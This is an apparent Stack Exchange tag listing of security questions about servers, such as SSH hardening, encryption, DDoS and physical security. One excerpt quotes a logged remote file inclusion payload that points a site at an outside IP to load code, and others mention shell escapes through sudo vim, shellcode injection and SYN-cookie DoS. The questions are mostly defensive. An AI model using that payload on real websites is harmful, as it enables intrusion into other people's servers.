A server is a machine running a software daemon that is generally accessed over a network by other machines.

learn more… | top users | synonyms

22
votes
3answers
1k views

Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
19
votes
7answers
7k views

DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
16
votes
4answers
653 views

Global Blackout is a myth?

In order to shut the Internet down, anonymous claimed that putting-down the 13 root DNS servers of the Internet and therefore disabling the HTTP Internet, the most widely used function of the Web, ...
10
votes
5answers
457 views

Does naming sensitive things discreetly provide protection?

I had a job where a manager said he liked naming servers after places because if they were named descriptively e.g. "passwords database server" they become obvious targets. I sort of generalized this ...
10
votes
2answers
1k views

How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
10
votes
3answers
6k views

Possible to use both private key and password authentication for ssh login?

It seems that they are mutually exclusive, as disabling one gives me the other, and vice versa. Two-factor auth for my ssh servers sounds really nice, so is there any way to accomplish this?
8
votes
1answer
124 views

What is the difference between HSM and Key server?

As per PCI-DSS requirements, we have to use either HSM (Hardware Security Module), or Key Server to store the KEK (Key Encryption Key). If I'm storing encrypted DEK (Data Encryption Key) in an App ...
7
votes
1answer
318 views

Enterprise standard for securing servers.

This must be the most broad question to ask, but through the years, i've come up with my own list of things I so to secure my servers, I follow the obvious steps I could gather online such as, ...
7
votes
2answers
3k views

How safe is the ownCloud encryption in a trusted LAN?

ownCloud looks like a promising locally hosted dropbox alternative. However, it has been pointed out that the encryption is not exactly strong... (The ownCloud team does at least provide a list of ...
7
votes
1answer
2k views

Check logs for Heartbleed exploit use?

According to articles such as the following, it's apparently possible to check logs for heartbeat requests matching the payloads described in the Heartbleed exploit. Is this something that any server ...
6
votes
3answers
495 views

Are duplicate SSH server host keys a problem?

I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all ...
6
votes
1answer
2k views

SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
5
votes
6answers
2k views

Is it possible to locate Tor/proxy users? Spam is getting on my nerves

I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: "GAYGAYGAYGAYGAYGAYGAY" "FRIGHT IS GAY HAHAHAHHAA" "ADMINS ...
5
votes
5answers
856 views

Windows 2003 Enterprise infected by Conficker; post-infection problems continue

I used various tools to remove Conficker, and I pretty much succeeded, but I've had recurring problems afterward. It won't update anymore (with the following error message: 0x800706B5) I tried ...
5
votes
3answers
495 views

Security of JVM for Server

Using type- and memory-safe languages like Java and Scala for server applications gave me the confidence of having a basic level of security (e.g. compared to C). Now with the recent wave of Oracle ...
5
votes
2answers
517 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
5
votes
1answer
1k views

What are the privacy pros and cons of using a public DNS server vs. your own?

Whether I'm using a normal internet connection setup, or tunnelling it through an anonymizing VPN or through TOR, what information of mine is revealed to whatever DNS server that I choose (e.g. Google ...
5
votes
3answers
986 views

How do I improve the physical security of a rack cabinet?

I've got an 8U 19-inch server rack cabinet with two locks - one on the front panel, one on the rear panel. The locks are small cam locks, but the cam part is rather thin and flimsy-looking. I could ...
4
votes
2answers
379 views

Preparing for a stolen physical server

What would be the best ways to protect sensitive data stored on a server/drive that gets stolen? The confidentiality of the data is what is important, not retrieving it. Obviously, physical means are ...
4
votes
2answers
3k views

Creating user specific authentication methods in SSH

I have configured sshd on an Ubuntu server to use key authentication and it is working fine. I had to disable password authentication for key authentication to work. Server is always accessed via ...
4
votes
3answers
899 views

Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
4
votes
3answers
180 views

Storing config securely in a semi trusted shared hosting environment

I'm looking for a pattern to store a config file containing sensitive information in a semi trusted hosting environment. Semi trusted in this case meaning I trust them in general, but not with this ...
4
votes
3answers
406 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
3answers
980 views

Can email be encrypted before it reaches the mail server? If not, is there something that would allow something like this that's being worked on?

I was thinking about hosting my own email (own email server) instead of using Gmail. But then I realized I could never host my email on a server where I'm also hosting Wordpress. That is because I ...
4
votes
4answers
3k views

Using SYN cookies to perform a DOS attack

In my software security class, we had this question: You are the system administrator for a provider that owns a large network (e.g., at least 64,000 IP addresses). Show how you can use SYN ...
4
votes
3answers
51 views

Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server?

Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server? Whether it it be through htaccess setups, posting login ...
4
votes
2answers
192 views

TLS server key: possible to sign another TLS server key?

If I have a valid (verifiable) certificate C_K_s that links the server key K_s to "www.example.com", is it possible to : use K_s to sign K_d, and let S_K_d be this signature use K_d as the TLS ...
4
votes
1answer
559 views

How to fuzz on FreeFloat FTP server using SPIKE Fuzzing?

I would to seek help on using SPIKE fuzzer to fuzz an FTP server which I am testing on Freefloat FTP server but do not have idea on how to work on. As I research and tested out many different types of ...
3
votes
2answers
226 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
3
votes
1answer
318 views

NX bit causes segfault on NOP slide?

doing an assignment for university. We have to exec a shell on a remote server. We're told the NX bit is not set, however, when we redirect to our injected code, the server has a segmentation fault. ...
3
votes
2answers
2k views

Using Window Servers 2003 after security updates are discontinued

Let's say that Microsoft has stopped supporting Windows Server 2003 now so there is no any security updates and I use that system for Domain Controller (Windows XP/7 Professional Clients) and File ...
3
votes
1answer
85 views

Server Certification Processes

We are considering a certification process for new internal server builds before they are allowed to be placed into production. That is, the system administration team will send the server up to the ...
3
votes
3answers
2k views

Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
3
votes
1answer
124 views

Updating stored, encrypted containers on a server

My scenario is this -- I want to store an encrypted container on a network server. This encrypted container should be accessible to others to download and decrypt/mount locally provided they have the ...
2
votes
2answers
268 views

How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
2
votes
4answers
140 views

Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
2
votes
2answers
72 views

How to find out the email host of a vanity email address?

Assuming a person gets his own domain address, say, theperson.com. He then goes on to create a vanity email address with that domain. e.g. me@theperson.com. me@theperson.com may be hosted by the ...
2
votes
3answers
171 views

How to regain access to the server?

I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ...
2
votes
2answers
213 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
2
votes
1answer
176 views

Security on dedicated lines

Is it safe for a company not to use any encryption on customer's data when it is transferred between data centers on dedicated lines? By customer data I don't mean passowrds/credit card info. Just ...
2
votes
4answers
121 views

What's the best way to secure inter-server communication for cloud servers?

I'm looking for best-practices or suggestions to secure inter-server communications between VPSs. Should I just run all traffic through SSH? What about HTTP Traffic via something like mongo? ...
2
votes
3answers
681 views

Cryptolocker: can servers be protected?

I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite ...
2
votes
2answers
184 views

Is this accidental incident considered hacking(illegal)? [closed]

I was doing research for a college research paper and I got bored and opened up CMD. I don't really know more than the next guy about computers, so i figured id just play around. I googled the ...
2
votes
1answer
522 views

What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
2
votes
4answers
118 views

What are the arguments for and against having anti-virus on domain servers

I have been hired at a start-up where I seem to have become the de-facto admin despite being hired to do application support (to be fair I do have a background as an all-rounder). Amongst the ...
2
votes
1answer
41 views

“holding open” encrypted home with local ssh

I have a couple of machines that I use for purely automated stuff, with home directories encrypted using ecryptfs. So even if the machine is powered on, those directories aren't decrypted unless that ...
2
votes
4answers
309 views

I think my server is under attack, what can I do to stop it? [duplicate]

Possible Duplicate: Invalid users trying to log in to my server I have a small ssh server mostly used for file sharing. A couple of other people and I use it and there are only 3 users. ...
2
votes
1answer
125 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
2
votes
1answer
109 views

Forefront Identity Management Server Hardening

Is there a good document for hardening FIM? I've tried CIS and NIST, but I couldn't find anything. If there is no such document, what would I have to look out for in the configuration?
2
votes
2answers
3k views

How to set up a user-friendly NAS encryption?

We recently installed one NAS drive (Buffalo LinkStation Pro Duo, LS-WVL, running the most recent Firmware version 1.6 to be precise) in our (small) company network. Currently, there is no encryption ...